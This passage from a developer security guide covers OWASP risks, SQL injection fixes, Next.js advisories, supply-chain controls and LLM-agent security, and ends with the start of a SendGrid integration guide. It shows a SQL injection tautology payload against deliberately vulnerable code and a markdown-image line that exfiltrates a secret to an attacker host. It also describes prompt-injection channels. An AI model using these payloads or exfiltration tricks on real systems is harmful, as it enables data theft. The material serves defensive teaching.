A02 Security Misconfiguration Debug mode in prod, default creds, permissive CORS, verbose stack traces, a public storage bucket, a dev server's endpoints reachable Hardened build baseline in CI; explicit CORS origins; generic error responses; security headers (see Headers and CSP) Config drift scanning; alert on Access-Control-Allow-Origin: * or a 500 that leaks a file path
A03 Software Supply Chain Failures A dependency, build system, or distribution channel is compromised, not just "old library" Lockfiles + npm ci; npm 12's blocked install scripts; min-release-age; npm audit signatures; trusted publishing; SLSA Build L3 on anything shipped; GitHub Actions pinned to SHAs (see Supply chain) Dependency review in CI; alert on a lockfile change in a PR that touches no source
A04 Cryptographic Failures Secrets at rest in plaintext, home-rolled crypto, weak hashing, TLS not enforced Platform primitives only (argon2/bcrypt, AEAD ciphers); HSTS; secrets in a manager (Hazina), never in the repo Secret scanning (gitleaks) as a pre-push gate; TLS posture monitoring
A05 Injection (SQLi, command, XSS, template, LDAP) User input crosses from data into a grammar: SQL, a shell command, HTML, a template Parameterise. Prepared statements, execFileSync(cmd, [args]), contextual output encoding, DOMPurify for rendered HTML. Validate at the boundary as defence-in-depth, never as the primary control WAF / CRS rules; DB error-rate spikes; alert on queries whose shape changes (normalised statement fingerprint)
A06 Insecure Design The feature is unsafe as specified: no rate limit on OTP, no re-auth before an email change Threat-model at plan time; write abuse cases next to user stories Business-logic anomaly detection: N password resets an hour, refunds exceeding charges
A07 Authentication Failures Credential stuffing survivable, no MFA, weak session lifecycle, tokens that never expire MFA / passkeys; rate limits + BotID on credential routes; rotate session ID on privilege change; short-lived tokens Alert on auth failure rate per account and per IP; impossible travel; new-device sign-in
A08 Software or Data Integrity Failures Unsigned updates, insecure deserialisation, CI that trusts an unpinned action Signed artefacts + verification; never deserialise untrusted input into live objects; pin the pipeline Verify signatures at install; alert on unexpected artefact digests
A09 Security Logging and Alerting Failures The attack happened and nothing recorded it, or it recorded and nobody was paged Structured security events (authn, authz denials, admin actions, payment state changes) with a real alerting path This is the detection layer. Test it: run a lab attack and confirm something fires
A10 Mishandling of Exceptional Conditions Errors leak internals, or a failure path silently falls open (catch {} → grant access) Fail closed; generic client errors + detailed server-side logs; never swallow an exception on a security path Alert on error-rate spikes on auth/payment paths and on any authorisation path reached via a catch block

Practise each row against a target: A01 on Juice Shop's basket and order endpoints, A05 on DVWA (flip the security level to read the fix diff), A07 and A09 on WebGoat's lesson sequence, and the whole set on the Academy's per-topic labs. When you need a checklist rather than a risk list, use OWASP ASVS 5.0.0; the Top 10 is an awareness document, ASVS is the verification standard.


SQL injection in depth

SQL injection is the reference case because the mechanism generalises to every other injection class, and because the fix is one line.

The mechanism

A SQL statement has two things in it: grammar (SELECT, WHERE, ', --) and data (the phone number a user typed). String concatenation destroys that boundary, so the user's text is parsed as grammar. A single ' closes the string literal early, and everything after it is executed as SQL.

// ❌ VULNERABLE: the input becomes part of the query's grammar
const phone = req.query.phone as string;
const rows = await db.query(
  `SELECT id, name, phone FROM riders WHERE phone = '${phone}'`
);

With phone = 254712000000 the database parses ... WHERE phone = '254712000000'. With phone = ' OR '1'='1 it parses ... WHERE phone = '' OR '1'='1', a tautology, and the endpoint returns every rider. The attacker did not guess a password; they rewrote the query.

The fix: parameterise

A parameterised (prepared) statement sends the query text and the values to the database as separate things. The parser sees the statement first and finalises the grammar; values are then bound to placeholders. A ' inside a bound value is a ' character in a string. It can no longer become punctuation.

// ✅ SAFE: node-postgres / Neon: $1 placeholder, values in an array
const rows = await db.query(
  "SELECT id, name, phone FROM riders WHERE phone = $1",
  [phone]
);
// ✅ SAFE: postgres.js tagged template: interpolations are parameterised, not concatenated
const rows = await sql`SELECT id, name, phone FROM riders WHERE phone = ${phone}`;
// ✅ SAFE: Supabase / PostgREST: the filter builder parameterises for you
const { data, error } = await supabase
  .from("riders")
  .select("id, name, phone")
  .eq("phone", phone);

Escaping is not the fix. Hand-written quote doubling, blocklists of the word UNION, and "strip the apostrophes" all fail against numeric contexts, second-order injection (safe on write, concatenated on read), encoding tricks, and the next database driver you swap in. Parameterise.

The parameterisation footguns

Placeholders bind values, never identifiers or keywords. Anywhere the query shape is dynamic, you cannot parameterise, so you must map through an allowlist:

// ❌ VULNERABLE: sort column concatenated straight in
const rows = await db.query(`SELECT * FROM deliveries ORDER BY ${req.query.sort}`);

// ✅ SAFE: allowlist maps an opaque token to a literal you wrote
const SORTS = { newest: "created_at DESC", fare: "fare_kes DESC" } as const;
const orderBy = SORTS[req.query.sort as keyof typeof SORTS] ?? SORTS.newest;
const rows = await db.query(`SELECT * FROM deliveries ORDER BY ${orderBy}`);

Every ORM keeps a raw escape hatch, and every one of them is where SQLi comes back: Prisma's $queryRawUnsafe, Drizzle's sql.raw(), Knex's knex.raw() with template interpolation, TypeORM's query(). Grep for them in review (PATTERNS.md has the gate). The safe raw form always takes values separately:

// ❌  prisma.$queryRawUnsafe(`SELECT * FROM riders WHERE phone = '${phone}'`)
// ✅  prisma.$queryRaw`SELECT * FROM riders WHERE phone = ${phone}`   // tagged template = parameterised

The layers behind it

Parameterisation is the control. These reduce the blast radius when something else slips through.

Least-privilege database user. The app's role should not be able to read tables it never touches, and should not be able to change schema. A read-only reporting path gets its own role.

-- The application role: exactly the verbs it needs, on exactly the tables it needs
REVOKE ALL ON SCHEMA public FROM PUBLIC;
CREATE ROLE app_rw LOGIN PASSWORD :'app_password';
GRANT USAGE ON SCHEMA public TO app_rw;
GRANT SELECT, INSERT, UPDATE ON deliveries, riders TO app_rw;
GRANT SELECT ON fare_rates TO app_rw;
-- deliberately absent: DROP, CREATE, TRUNCATE, and any grant on audit_log or webhook_jobs

Row Level Security, on Supabase and on plain Postgres, turns "the query returned rows it should not have" into "the database refused." It is the last line that holds when application-layer authorisation has a bug, which is exactly the A01 failure mode.

ALTER TABLE deliveries ENABLE ROW LEVEL SECURITY;
CREATE POLICY rider_reads_own ON deliveries
  FOR SELECT USING (rider_id = auth.uid());

Input validation at the boundary. Validate shape, type, and range with a schema at the edge of the system: every form, API route, and webhook handler. It catches a large class of nonsense early and makes the intended domain explicit. It is defence-in-depth, never the primary control.

import { z } from "zod";

const RiderLookup = z.object({
  // 254XXXXXXXXX: the M-Pesa phone format from CLAUDE.md
  phone: z.string().regex(/^254\d{9}$/),
});

const parsed = RiderLookup.safeParse(await req.json());
if (!parsed.success) return Response.json({ error: "invalid request" }, { status: 400 });

A WAF (Vercel WAF, Cloudflare's managed rules, or the OWASP Core Rule Set in front of your own origin) buys time against automated scanning and mass exploitation of a freshly published CVE. It is a speed bump on a determined, targeted attempt. Never let its presence justify a concatenated query.

Detecting it


Hardening what we ship (2026)

Everything above is the lab. This half is the same classes closed in production code. Each subsection has a runnable file in examples/.

The Next.js patch floor

Next.js is now on a pre-announced monthly security release model (it started with the July 2026 release), with out-of-band releases for critical issues. Since the RSC remote-code-execution bug of December 2025 (CVE-2025-55182, "React2Shell"), the framework itself has been a regular source of critical advisories. Treat "which Next.js are we on" as a security question, and re-check this table every month.

Date Fixed in What was fixed (headline)
2025-03-21 15.2.3 / 14.2.25 / 13.5.9 / 12.3.5 CVE-2025-29927, critical: middleware authorisation bypass via x-middleware-subrequest
2025-12-03 16.0.7 / 15.5.7 (and each 15.x line) CVE-2025-55182, critical: RCE in React Server Components
2026-05-06 / 05-07 15.5.16 / 16.2.5, then 15.5.18 / 16.2.6 Three middleware/proxy bypasses, WebSocket-upgrade SSRF, a CSP-nonce XSS (GHSA-ffhc-5mcf-pf4q), then the incomplete-fix follow-up GHSA-26hh-7cqf-hhc6
2026-07-21 15.5.21 / 16.2.11 SSRF in Server Actions on custom servers and in rewrites; a proxy bypass with Turbopack + single locale
2026-08-25 15.5.24 / 16.3.3 Two critical unauthenticated RCEs (Image Optimization with AVIF; Windows-hosted servers)
2026-09-22 15.5.26 / 16.3.6 Critical RCE in next/og ImageResponse
2026-09-30 15.5.27 / 16.3.8 High SSRF in Image Optimization; several cache-poisoning and cache-leak issues
2026-10-14 15.5.28 / 16.4.1 Critical unauthenticated RCE in use cache functions returning typed arrays (GHSA-673q-mjm6-r5xr, 16.x); critical RCE in Image Optimization with SVG on glibc Linux (CVE-2026-96889, via sharp, fixed by sharp ≥ 0.35.5); high DoS in Server Actions (GHSA-p3m5-59mp-jv5r)

Floor as of 2026-10-20: next ≥ 16.4.1 (Active LTS) or ≥ 15.5.28 (Maintenance LTS). The current latest tag is 16.4.2. The React side of the October fix is react-server-dom-* 19.0.9 / 19.1.10 / 19.2.9 / 19.3.1; upgrading next pulls the right one. Anything on 14.x or earlier 15.x lines is out of support for these fixes; upgrade rather than backport.

Three lessons that outlive the specific CVEs:

  1. Proxy (formerly middleware) is not an authorisation boundary. Six advisories since March 2025 are "middleware / proxy bypass" (CVE-2025-29927, three in May 2026, the GHSA-26hh follow-up, and a Turbopack single-locale bypass in July). Do the session check in proxy.ts for redirects and UX, then authorise again in the route handler, Server Action, or data layer, where the bypass cannot reach. Clerk's resource-level auth.protect() and better-auth's server-side session read are the right shape (see those guides).
  2. Server Actions and route handlers are public POST endpoints. Validate every argument with a schema and authorise inside the action. An action is reachable whether or not a button for it is rendered.
  3. Image Optimization is a server-side fetcher and a parser. It has produced SSRF, DoS and RCE advisories. Restrict images.remotePatterns to the exact hosts you need, never a wildcard, and keep sharp current.

Watch: https://github.com/vercel/next.js/security/advisories, and run npm audit in CI so a new advisory fails the build.

Headers and CSP

Two layers. next.config headers() for the static headers every route gets, and a nonce-based CSP set in proxy.ts, because a nonce must be fresh per request. The complete file is examples/proxy.ts; the shape, from the Next.js CSP guide (updated 2026-03-20):

// proxy.ts (Next 16: the file and the export are both named "proxy")
const nonce = Buffer.from(crypto.randomUUID()).toString("base64");
const csp = [
  "default-src 'self'",
  `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
  `style-src 'self' 'nonce-${nonce}'`,
  "img-src 'self' blob: data:",
  "object-src 'none'",
  "base-uri 'self'",
  "form-action 'self'",
  "frame-ancestors 'none'",
  "upgrade-insecure-requests",
].join("; ");
// set it on BOTH the forwarded request headers (so Next can read the nonce
// and stamp it on its own scripts) and the response

What the docs make explicit, and what bites people:

Alongside the CSP, set on every response: Strict-Transport-Security: max-age=63072000; includeSubDomains; preload (only once every subdomain is HTTPS), X-Content-Type-Options: nosniff, Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy denying what you do not use (camera=(), microphone=(), geolocation=()), and frame-ancestors 'none' in the CSP (the modern replacement for X-Frame-Options). Roll a new CSP out as Content-Security-Policy-Report-Only first.

Authentication and sessions

Auth providers have their own guides (clerk/, better-auth/, auth0/); the security floor across all of them:

Webhooks are public, unauthenticated POSTs

Verify the signature against the raw body before parsing: stripe.webhooks.constructEvent (Stripe signing secret), Svix for Clerk (svix 2's verify() now returns undefined and throws on failure, so do not rely on its return value for the payload; parse the raw body yourself after it passes), and Daraja callback validation for Kenya-targeted projects. Then deduplicate on the provider's event ID. Full patterns live in webhooks/ and the repo-root SECURITY.md.

Secrets scanning: gitleaks

gitleaks v8.30.1 (2026-03-21) is the workspace gate. Since v8.19.0 the commands are git, dir and stdin; detect and protect still work but are hidden and deprecated.

# Whole history of the current repo (what CI runs)
gitleaks git -v .

# Just what you are about to commit (what a pre-commit hook runs)
gitleaks git --pre-commit --staged -v .

# A folder that is not a git repo (a downloaded export, a lab notes dir)
gitleaks dir -v ./notes

# Adopt on an old repo: record today's findings as a baseline, then fail only on new ones
gitleaks git --report-path gitleaks-baseline.json .
gitleaks git --baseline-path gitleaks-baseline.json --report-path findings.json .

Config resolves from --config, then the GITLEAKS_CONFIG env var, then GITLEAKS_CONFIG_TOML, then .gitleaks.toml in the target. Suppress a known test value inline with a gitleaks:allow comment, or by fingerprint in .gitleaksignore. Pass --redact in CI so a finding does not print the secret into build logs.

In CI, prefer the binary or the official image (ghcr.io/gitleaks/gitleaks:v8.30.1) over gitleaks/gitleaks-action@v3. The Action requires a GITLEAKS_LICENSE for repos owned by an organisation (codeAmani-Labs is one); it is free, but the image needs no licence. See examples/security-ci.yml and examples/pre-commit-config.yaml.

A leaked secret is rotated, not deleted. Rewriting history does not un-leak a key that was pushed. Rotate it at the provider first, then clean up.

Supply chain: npm in 2026

The npm ecosystem changed more in the last twelve months than in the five before, mostly in response to self-propagating worms that stole publish tokens through postinstall scripts. The current state, from the npm docs and GitHub changelog:

Control What it is Status (2026-10-20)
npm 12 blocks dependency lifecycle scripts by default Install scripts in dependencies do not run unless the root package.json's allowScripts policy allows them. Approve with npm install-scripts approve, then npm rebuild npm 12.0.0 (2026-07-08); current 12.2.0. Requires Node ^22.22.2 || ^24.15.0 || >=26.0.0
allow-git / allow-remote default to none Git and tarball-URL dependencies are refused unless you opt in npm 12.0.0 (flags arrived in 11.15.0 defaulting to all)
min-release-age Only install versions published more than N days ago; most worm payloads are caught and unpublished within days npm config (complements --before); pnpm has minimumReleaseAge
npm audit signatures Verifies registry signatures and provenance attestations of what you installed npm ≥ 8.15.0; run after npm ci
Trusted publishing (OIDC) CI publishes with a short-lived OIDC token, no stored npm token; provenance is generated automatically GA. Unvalidated configs expire after 48 hours (2026-10-02); issue_comment and pull_request_target events are rejected
Staged publishing npm stage publish puts a version in a queue that a maintainer approves with 2FA before it can be installed; a trusted-publishing config can be stage-only GA 2026-05-22 (npm 11.15.0+); can create new packages since 2026-10-02
Classic tokens Gone. Revoked 2025-12-09. Granular write tokens are capped at 90 days and enforce 2FA by default Done

The codeAmani baseline, as .npmrc plus CI:

# .npmrc (project root): non-secret policy only
min-release-age=3
allow-git=none
allow-remote=none
audit-level=high

Then in CI: npm ci (never npm install), npm audit signatures, npm audit --audit-level=high, gitleaks, and all third-party Actions pinned to a full commit SHA. For publishing, trusted publishing + SLSA Build L3 per supply-chain/CLAUDE_CODE_INTEGRATION.md; for anything high-blast-radius, make the trusted-publishing config stage-only so a compromised workflow cannot ship without a human.

For local installs of a package you have not used before, Socket Firewall (npm i -g sfw, then sfw npm install <pkg>) blocks confirmed malware at the network layer, including transitive dependencies. The free tier needs no API key but sends anonymous telemetry (package names and versions) and only covers public registries. It does not see already-cached packages.

Rate limiting and bot protection

Bots go for the routes that cost you money or create accounts: checkout, sign-up, OTP, password reset, and anything that calls an LLM. Two Vercel-native controls, combined in examples/protected-route.ts:

Off Vercel, Cloudflare WAF rate-limiting rules plus Turnstile are the equivalent pair (cloudflare/ guide), and @upstash/ratelimit works anywhere with a Redis (upstash/ guide).

LLM and agent security

Any feature where a model reads untrusted text and can take actions is its own threat model. Two OWASP lists define the vocabulary:

OWASP Top 10 for LLM Applications 2025 (current edition): LLM01 Prompt Injection · LLM02 Sensitive Information Disclosure · LLM03 Supply Chain · LLM04 Data and Model Poisoning · LLM05 Improper Output Handling · LLM06 Excessive Agency · LLM07 System Prompt Leakage · LLM08 Vector and Embedding Weaknesses · LLM09 Misinformation · LLM10 Unbounded Consumption.

OWASP Top 10 for Agentic Applications for 2026 (published 2025-12-09 by the OWASP GenAI Security Project): ASI01 Agent Goal Hijack · ASI02 Tool Misuse and Exploitation · ASI03 Identity and Privilege Abuse · ASI04 Agentic Supply Chain Vulnerabilities · ASI05 Unexpected Code Execution (RCE) · ASI06 Memory & Context Poisoning · ASI07 Insecure Inter-Agent Communication · ASI08 Cascading Failures · ASI09 Human-Agent Trust Exploitation · ASI10 Rogue Agents. The document places MCP tool poisoning (a falsified tool descriptor or schema) under ASI02, and a tool that is malicious at the source under ASI04.

Prompt injection cannot be fully filtered out, because instructions and data share one channel. So the defences are architectural, the same move as parameterisation: limit what a hijacked model can do, not what it can be told. examples/agent-tool-guard.ts implements the core of it:

  1. Least agency (LLM06, ASI02, ASI03). Each agent gets an explicit tool allowlist. Tools run with the user's scoped credentials, never a shared admin key. Read tools and write tools are separate.
  2. Human approval for consequential actions (ASI09). Sending money, sending messages to third parties, deleting data, and anything irreversible require an explicit confirmation step outside the model's control. An M-Pesa B2C or a Stripe refund is never one tool call away from a document the agent read.
  3. Validate tool arguments with a schema, then authorise them server-side, exactly like a Server Action. The model is an untrusted client.
  4. Mark untrusted content as data. Wrap fetched pages, emails, WhatsApp messages and RAG chunks in clearly delimited blocks and tell the model they are data. This reduces, but does not prevent, injection; the controls above are what hold.
  5. Treat model output as untrusted input (LLM05). Never pass it to eval, a shell, raw SQL, or dangerouslySetInnerHTML. Sanitise rendered markdown, and strip or allowlist URLs and images, which are the standard exfiltration channel (![](https://attacker/?q=<secret>)).
  6. Sandbox code execution (ASI05). Model-written code runs in an isolated sandbox with no secrets and no network by default (sandbox/ guide).
  7. Cap consumption (LLM10). Per-user token and request budgets, max tool-loop iterations, and BotID on the public chat endpoint.
  8. Pin and review MCP servers and skills (ASI04). Treat a third-party MCP server like a dependency: pinned version, reviewed tool descriptions, least-privilege credentials.

The OWASP cheat sheets for this are LLM Prompt Injection Prevention, AI Agent Security, and MCP Security (links in RESOURCES.md).


Mobile: OWASP MASVS and MASTG

The mobile equivalent of the Top 10 is the OWASP Mobile Application Security project: MASVS (the requirements standard) and MASTG (the testing guide, plus the crackmes to practise on). The controls are organised into eight categories, each mapping to a decision you make while writing an app:

MASVS category The defensive question
MASVS-STORAGE Is anything sensitive on disk, in a backup, in a log, or hardcoded in the package?
MASVS-CRYPTO Are keys in the platform keystore, and is the crypto the platform's, not yours?
MASVS-AUTH Is authorisation enforced server-side, with the device only presenting a credential?
MASVS-NETWORK Is TLS enforced, with no user-added CA trust, and validation never disabled "for debugging"?
MASVS-PLATFORM Are IPC surfaces (exported activities, intents, deep links, WebViews, pasteboard) locked down?
MASVS-CODE Are dependencies current, is untrusted input validated, is debug tooling stripped from release?
MASVS-RESILIENCE Does tampering and reverse engineering raise the cost, knowing it never makes the app safe?
MASVS-PRIVACY Is data minimised, disclosed, and does the user actually have control?

MASTG shipped v2.0.0 as a tagged release on 2026-06-30. v2 is built around MASWE weakness IDs (MASWE-0001 …) alongside MASTG-TEST-*, MASTG-DEMO-*, and MASTG-TOOL-* identifiers, with a demo per test so you see the finding reproduced and then fixed. Legacy v1 tests are still linked from the site, so search results mix the two schemes.

Practise on the official crackmes (https://mas.owasp.org/crackmes/) for Android and iOS, on an emulator or a dedicated wiped device. Never on a phone that holds real accounts.

The single most useful lesson the mobile lab teaches: the client is not a trust boundary. Anything the app can compute, an attacker with the binary can compute. Root and jailbreak detection, certificate pinning, and obfuscation (MASVS-RESILIENCE) raise cost; they do not create security. Every authorisation decision belongs on the server. It is the same rule as "proxy is a redirect optimisation, not an authorisation boundary," wearing different clothes.


Desktop and OS hardening

The lab teaches the app layer; the host layer is where a compromise becomes permanent. A defensible baseline per platform:

Platform Baseline that matters Official reference
Windows BitLocker on, Secure Boot + TPM, virtualisation-based security / Credential Guard, SmartScreen, Defender with tamper protection, standard (non-admin) daily account, Attack Surface Reduction rules https://learn.microsoft.com/en-us/windows/security/
macOS FileVault, System Integrity Protection left on, Gatekeeper + notarisation enforced, firewall on, standard account for daily use, Lockdown Mode where the threat model warrants https://support.apple.com/guide/security/welcome/web
Linux Full-disk encryption, automatic security updates, keys-only SSH with root login disabled, host firewall default-deny inbound, SELinux/AppArmor enforcing, minimal installed surface https://ubuntu.com/security
iOS Current iOS, strong passcode + biometric, automatic updates, never install an unknown MDM/CA profile, Lockdown Mode for high-risk users https://support.apple.com/guide/security/welcome/web
Android Current Android + Play Protect, verified boot, sideloading off, per-app permission review, work profile to separate contexts, no root on a device holding real accounts https://source.android.com/docs/security

Cross-cutting, and worth more than any individual toggle: patch fast, run as a standard user, use a password manager plus phishing-resistant MFA (passkeys or hardware keys), full-disk encryption everywhere, and keep a restore-tested backup. Ransomware defence is backup and recovery, not a product.

For developer machines specifically: keep the lab off the machine that holds production credentials, and remember that a developer laptop is now a supply-chain target. A worm that runs in postinstall reads ~/.npmrc, cloud CLI credentials and .env files. npm 12's blocked install scripts, Hazina for secrets, and a separate lab VM are the three controls that matter. See sandbox/CLAUDE_CODE_INTEGRATION.md.


The loop: finding → fix → detection

Every lab session produces three artefacts, and stops being useful if it produces fewer:

  1. Root cause. The specific line or design decision, not the symptom. "The order endpoint reads orderId from the query string and never checks it against the session subject."
  2. Countermeasure. The diff: parameterised query, server-side authorisation check, output encoding, signature verification. Written as code, not as advice.
  3. Detection. The log event and the alert that would have fired. If you cannot name it, you have found A09:2025 in your own stack.

Map the finding to MITRE ATT&CK (https://attack.mitre.org/) when it helps you talk to a security team, and score severity with CVSS (https://www.first.org/cvss/) when you need a shared vocabulary for prioritisation. Sigma (https://github.com/SigmaHQ/sigma) is a portable way to write the detection rule once. PATTERNS.md has the template.


codeAmani notes

This lab is where the CLAUDE.md security rules come from

Every rule in the workspace CLAUDE.md is the scar tissue of one of the classes above:

Shipping defaults for every codeAmani app

Secrets and the lab

Kenya-targeted projects: the M-Pesa callback is hostile input

For boda-dispatch, duka-order-bot, and the other Kenya-targeted builds, the highest-value application of this guide is the Daraja callback path, because it combines three classes at once:

Three more that are genuinely regional: WhatsApp inbound messages are untrusted input in the same category as a form field, and when an agent reads them they are also a prompt-injection channel (ASI01), so a WhatsApp ordering bot must never be able to trigger a payout from message text alone. On low-bandwidth Android, a tight CSP plus a small JS bundle is both a performance win and a real XSS mitigation. And SIM-swap fraud makes SMS OTP weaker in this market than elsewhere; pair it with device binding or a PIN for anything that moves money.

Pair this guide with

The one-line summary

You break a target you own so that you never ship the bug, and you ship on a framework version, a dependency policy and an agent design that assume the next bug is already out there.

Official docs:

SendGrid Integration Guide

Technology: sendgrid · Category: comms · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/sendgrid

Insight:

Resend + React Email is codeAmani's primary email provider; SendGrid is the alternative for client projects that require it (an existing SendGrid account, subusers per tenant, dedicated IPs and IP pools, EU data residency, or a Twilio consolidation). There is no free plan any more (retired May 2025; new accounts get a 60-day, 100/day trial, then Essentials from $19.95/mo). Authenticate the domain, publish DMARC, send marketing mail with an unsubscribe group so SendGrid adds RFC 8058 one-click headers, and verify the ECDSA signature on both the Event Webhook and Inbound Parse against the raw body.

███████╗███████╗███╗   ██╗██████╗  ██████╗ ██████╗ ██╗██████╗
██╔════╝██╔════╝████╗  ██║██╔══██╗██╔════╝ ██╔══██╗██║██╔══██╗
███████╗█████╗  ██╔██╗ ██║██║  ██║██║  ███╗██████╔╝██║██║  ██║
╚════██║██╔══╝  ██║╚██╗██║██║  ██║██║   ██║██╔══██╗██║██║  ██║
███████║███████╗██║ ╚████║██████╔╝╚██████╔╝██║  ██║██║██████╔╝
╚══════╝╚══════╝╚═╝  ╚═══╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚═╝╚═════╝

SendGrid Integration Guide

Focus: When and how codeAmani uses Twilio SendGrid as the alternative to its primary email provider, Resend. Covers sending with @sendgrid/mail (Mail Send v3), dynamic templates, domain authentication and link branding, DMARC and the Gmail/Yahoo/Microsoft bulk-sender rules, the signed Event Webhook, signed Inbound Parse, suppressions and unsubscribe groups, subusers, IP pools, and EU data residency.

Overview

Twilio SendGrid is a high-volume email platform: Web API v3 and SMTP, Handlebars dynamic templates, Marketing Campaigns, subusers, dedicated IPs, and a detailed event pipeline. It is advertised as an email option on motionstackstudios.com.

Resend + React Email is codeAmani's primary email provider (see ../resend/). It has cleaner DX, React-rendered templates, a permanent free tier, and fewer moving parts. Use SendGrid only when a client project needs something Resend doesn't give you:

What changed since the last review (details in NOTES.md):

Change Date Impact
Free plan retired; new accounts get a 60-day trial (100 emails/day) Trial from 25 Mar 2025; retirement announced 27 May 2025 No free tier for side projects. Budget Essentials $19.95/mo minimum
Event Webhook must be HTTPS New configs from Oct 2025; existing ones by 11 Feb 2026 HTTP webhooks have stopped receiving events
Event Webhook security: OAuth 2.0 option alongside ECDSA signing; multiple webhooks per account (1 / 2 / 5 by plan) current Each webhook has its own key pair
Signed Inbound Parse via webhook security policies current Inbound Parse can now be verified. The old "Inbound Parse is unsigned" advice is out of date
EU data residency (api.eu.sendgrid.com) GA 15 Jul 2025 client.setDataResidency('eu') in the Node SDK
v2 Mail Send capped at 1,000 recipients per request 9 Jul 2025 Use v3 anyway
Email Activity API limited to 6 requests/minute 9 Dec 2025 Use the Event Webhook for status, not polling
"Send to Coworker" removed from domain authentication setup 3 Aug 2026 Hand DNS records to whoever owns DNS yourself
flowchart LR
  A["Your App"] -->|"templateId + dynamicTemplateData + customArgs"| B["@sendgrid/mail"]
  B --> C["POST /v3/mail/send<br/>(202 Accepted)"]
  C --> D["Recipient inbox"]
  C -->|"batched delivery + engagement events"| E["Event Webhook (HTTPS)"]
  E -->|"X-Twilio-Email-Event-Webhook-Signature"| F["Your route (Node runtime)"]
  F -->|"ECDSA verify over timestamp + raw body"| G{"Valid?"}
  G -->|"yes"| H["Dedupe sg_event_id, update DB, mirror suppressions"]
  G -->|"no"| I["403"]

Check first. Before wiring SendGrid into a build, query the codeAmani-tech-stack MCP (search_guides / get_guide) and confirm Resend can't meet the requirement. SendGrid adds a second vendor and a second deliverability footprint.

Official Documentation

Resource URL
SendGrid docs (root) https://www.twilio.com/docs/sendgrid
Mail Send (Web API v3) https://www.twilio.com/docs/sendgrid/api-reference/mail-send/mail-send
Dynamic templates https://www.twilio.com/docs/sendgrid/ui/sending-email/how-to-send-an-email-with-dynamic-templates
Event Webhook reference https://www.twilio.com/docs/sendgrid/for-developers/tracking-events/event
Event Webhook security (signing + OAuth) https://www.twilio.com/docs/sendgrid/for-developers/tracking-events/getting-started-event-webhook-security-features
Securing Inbound Parse https://www.twilio.com/docs/sendgrid/for-developers/parsing-email/securing-your-parse-webhooks
Domain authentication https://www.twilio.com/docs/sendgrid/ui/account-and-settings/how-to-set-up-domain-authentication
List-Unsubscribe headers (support) https://support.sendgrid.com/hc/en-us/articles/20631133325467
Pricing (Email API) https://www.twilio.com/en-us/products/email-api/pricing
Changelog https://www.twilio.com/en-us/changelog
Node.js SDK https://github.com/sendgrid/sendgrid-nodejs

More links in RESOURCES.md; API cheatsheet in reference/api-cheatsheet.md; plans in reference/limits-and-pricing.md.


SDK Setup

npm install @sendgrid/mail@8.1.6 @sendgrid/client@8.1.6 @sendgrid/eventwebhook@8.0.0 -E

Versions (npm, 2026-10-20): @sendgrid/mail and @sendgrid/client 8.1.6 (published Sep 2025, still latest), @sendgrid/eventwebhook and @sendgrid/helpers 8.0.0. They ship from the sendgrid-nodejs monorepo and share the v8 major. Types are bundled. @sendgrid/client uses axios under the hood, so these packages are Node-only: run send and webhook routes on the Node runtime, not Edge. From an Edge or Workers runtime, call POST https://api.sendgrid.com/v3/mail/send with fetch instead.

Initialize the client

// lib/sendgrid.ts  (server-only)
import sgMail from '@sendgrid/mail';
import client from '@sendgrid/client';

const apiKey = process.env.SENDGRID_API_KEY;
if (!apiKey) throw new Error('SENDGRID_API_KEY is not set');

client.setApiKey(apiKey);
// client.setDataResidency('eu'); // EU subuser on Pro+: routes to https://api.eu.sendgrid.com/
sgMail.setClient(client);
sgMail.setTimeout(10_000);

export { sgMail, client };

Create the key under Settings → API Keys as Restricted Access with only Mail Send for the app. Keep a separate key with suppression or webhook scopes for admin scripts.


Core Patterns

Send with a dynamic template

Dynamic templates are Handlebars templates built in the dashboard (Email API → Dynamic Templates). You reference one by templateId (always d-…) and pass dynamicTemplateData. The template owns the subject and body, so don't set subject or html.

import { sgMail } from '@/lib/sendgrid';

const [res] = await sgMail.send({
  to: 'user@example.com',
  from: { email: 'no-reply@mail.client.example', name: 'Client App' },
  templateId: 'd-0123456789abcdef0123456789abcdef',
  dynamicTemplateData: { userName: 'Amani', dashboardUrl: 'https://app.client.example' },
  customArgs: { user_id: 'usr_123', kind: 'welcome' }, // strings only; echoed on every event
  categories: ['welcome'],
  trackingSettings: { clickTracking: { enable: false, enableText: false }, openTracking: { enable: false } },
});

// 202 Accepted. Store the message id so webhook events can be matched back.
const messageId = String(res.headers['x-message-id'] ?? '');

Full route with input validation and error handling: examples/send-email.ts. Turn click and open tracking off for transactional mail (receipts, password resets): rewritten links and pixels hurt trust and add nothing.

Errors

The SDK rejects with a ResponseError. Field-level detail is in err.response.body.errors[] ({ message, field, help }). Log the messages, never the API key or recipient list.

Many recipients without leaking the list

A bare to: [...] puts everyone in one To: header. Use personalizations (one per recipient, up to 1,000 per request) or pass true as the second argument to send (isMultiple), which does the same thing.

await sgMail.send({
  from: { email: 'news@mail.client.example', name: 'Client' },
  templateId: 'd-...',
  personalizations: recipients.map((r) => ({ to: [{ email: r.email }], dynamicTemplateData: { name: r.name } })),
  asm: { groupId: 12345, groupsToDisplay: [12345] }, // unsubscribe group: see Bulk-sender rules
});

Other Mail Send fields worth knowing

Field (SDK name) Use Limit
sendAt Schedule (Unix seconds) At most 72 hours ahead
batchId Group a scheduled send so you can cancel or pause it Create via POST /v3/mail/batch
ipPoolName Send from a dedicated IP pool 2–64 chars
categories Stats grouping Max 10, each ≤ 255 chars
customArgs Correlation ids returned on events ≤ 10,000 bytes
asm Unsubscribe group (groupId, groupsToDisplay ≤ 25)
mailSettings.sandboxMode Validate without sending (CI)
mailSettings.bypassListManagement Skip suppressions. Only for legally required notices (for example a security alert) Can't combine with other bypass flags
replyToList Several reply-to addresses ≤ 1,000

You can't override To, From, Subject, Reply-To, CC, BCC, Content-Type, DKIM-Signature, or the x-sg-* headers through headers.


Deliverability depends on authentication. An unauthenticated send lands in spam or shows "via sendgrid.net". Authenticate the domain before sending anything real. codeAmani manages DNS in Porkbun or Cloudflare (see ../porkbun/ and ../domain-portfolio/).

flowchart TD
  A["Settings → Sender Authentication →<br/>Authenticate Your Domain"] --> B["SendGrid returns 3 CNAMEs<br/>(em#### return-path + s1/s2._domainkey)"]
  B --> C["Add them in Porkbun / Cloudflare<br/>(host part only, DNS-only / unproxied)"]
  C --> D["Verify in SendGrid"]
  D --> E{"Verified?"}
  E -->|"no"| F["Wait for propagation, recheck"]
